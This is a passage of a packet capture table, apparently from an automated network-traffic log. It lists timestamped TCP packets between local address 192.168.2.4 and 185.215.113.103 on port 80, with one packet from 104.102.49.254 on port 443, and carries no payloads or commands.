Oct 18, 2024 15:04:27.937160015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937171936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937175035 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937199116 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937208891 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937376976 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937390089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937407970 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937419891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937428951 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937438965 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937452078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937459946 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937464952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937475920 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937484980 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937489986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937500954 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937549114 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937752008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937764883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937776089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937788010 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937798977 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937802076 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937810898 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937813044 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937824011 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937841892 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937841892 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937855959 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937863111 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937882900 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937901974 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938096046 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938107967 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938119888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938131094 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938143015 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938152075 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938163996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938167095 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938175917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938188076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938188076 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938201904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938210964 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938215017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938229084 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938235044 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938241959 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938251972 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938256025 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938267946 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938280106 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938282013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938304901 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938316107 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938807011 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938818932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938829899 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938842058 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938853979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938857079 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938867092 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938879013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938880920 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938891888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938899994 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938904047 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938915014 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938918114 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938930035 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938942909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938944101 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938958883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.938966990 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.938982010 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939004898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939191103 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939203978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939235926 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939294100 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939306974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939317942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939332008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939342976 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939343929 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939357996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939358950 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939372063 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939393044 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939393044 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939419985 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939438105 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939591885 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939635038 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939810991 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939827919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939846039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939853907 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939858913 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939867020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939872026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939884901 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939884901 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939898014 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939898968 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939909935 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939917088 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939922094 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939934015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939935923 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939946890 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939959049 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939960957 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939970016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939974070 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.939982891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939994097 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.939997911 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940006018 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940016985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940022945 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940028906 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940038919 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940041065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940049887 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940053940 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940066099 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940077066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940079927 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940105915 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940119982 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940583944 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940597057 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940608025 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940619946 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940630913 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940635920 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940644026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940646887 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940661907 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940706968 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940746069 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940757990 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940768957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940782070 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940793991 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940794945 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940805912 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940817118 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940817118 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940829039 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940829992 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940843105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940855026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940855026 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940866947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940877914 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940881968 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940890074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940902948 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.940903902 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940913916 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.940943956 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941447020 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941458941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941468954 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941479921 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941492081 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941502094 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941503048 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941515923 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941519976 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941529036 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941536903 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941544056 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941555977 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941566944 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941567898 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941591024 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941615105 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941848040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941859961 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941870928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941883087 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941895008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941900969 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941907883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941920042 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941922903 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941932917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.941946030 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941956043 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.941984892 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.942137957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.942151070 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.942162991 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.942174911 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.942187071 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.942194939 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.942218065 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.959404945 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:27.969403028 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969413996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969475985 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969477892 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969500065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969511032 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969521999 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969537020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969549894 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969553947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969640017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969650984 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969660997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969679117 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969695091 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969811916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969829082 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969840050 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969851017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969861031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969863892 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969875097 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969887018 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969902039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969904900 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969912052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969923019 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969933987 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969955921 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.969974995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969985962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.969997883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970016003 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970030069 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970061064 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970072031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970081091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970103979 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970124960 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970182896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970192909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970202923 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970213890 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970220089 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970225096 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970247984 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970259905 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970259905 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970293999 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970313072 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970321894 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970330000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970340014 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970346928 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970371962 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970407009 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970417023 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970426083 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970436096 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970446110 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970448971 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970468044 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970483065 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970540047 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970551014 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970561981 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970572948 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970583916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970587969 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970608950 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970624924 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970669985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970680952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970705986 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970787048 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970798016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970808983 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970818996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970829964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970839977 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970843077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970854998 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970865011 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970866919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.970882893 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970912933 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.970917940 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971019983 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971029997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971040010 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971051931 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971056938 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971061945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971071005 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971080065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971091986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971097946 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971122026 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971149921 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971204042 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971213102 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971251011 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971318960 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971328974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971338987 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971349001 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971359015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971363068 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971370935 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971381903 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971395016 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971400023 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971406937 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971426964 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971448898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971573114 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971582890 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971592903 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971602917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971613884 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971622944 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971626997 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971635103 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971645117 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971653938 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971654892 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971662998 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971693039 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971705914 CEST	80	49884	185.215.113.103	192.168.2.4
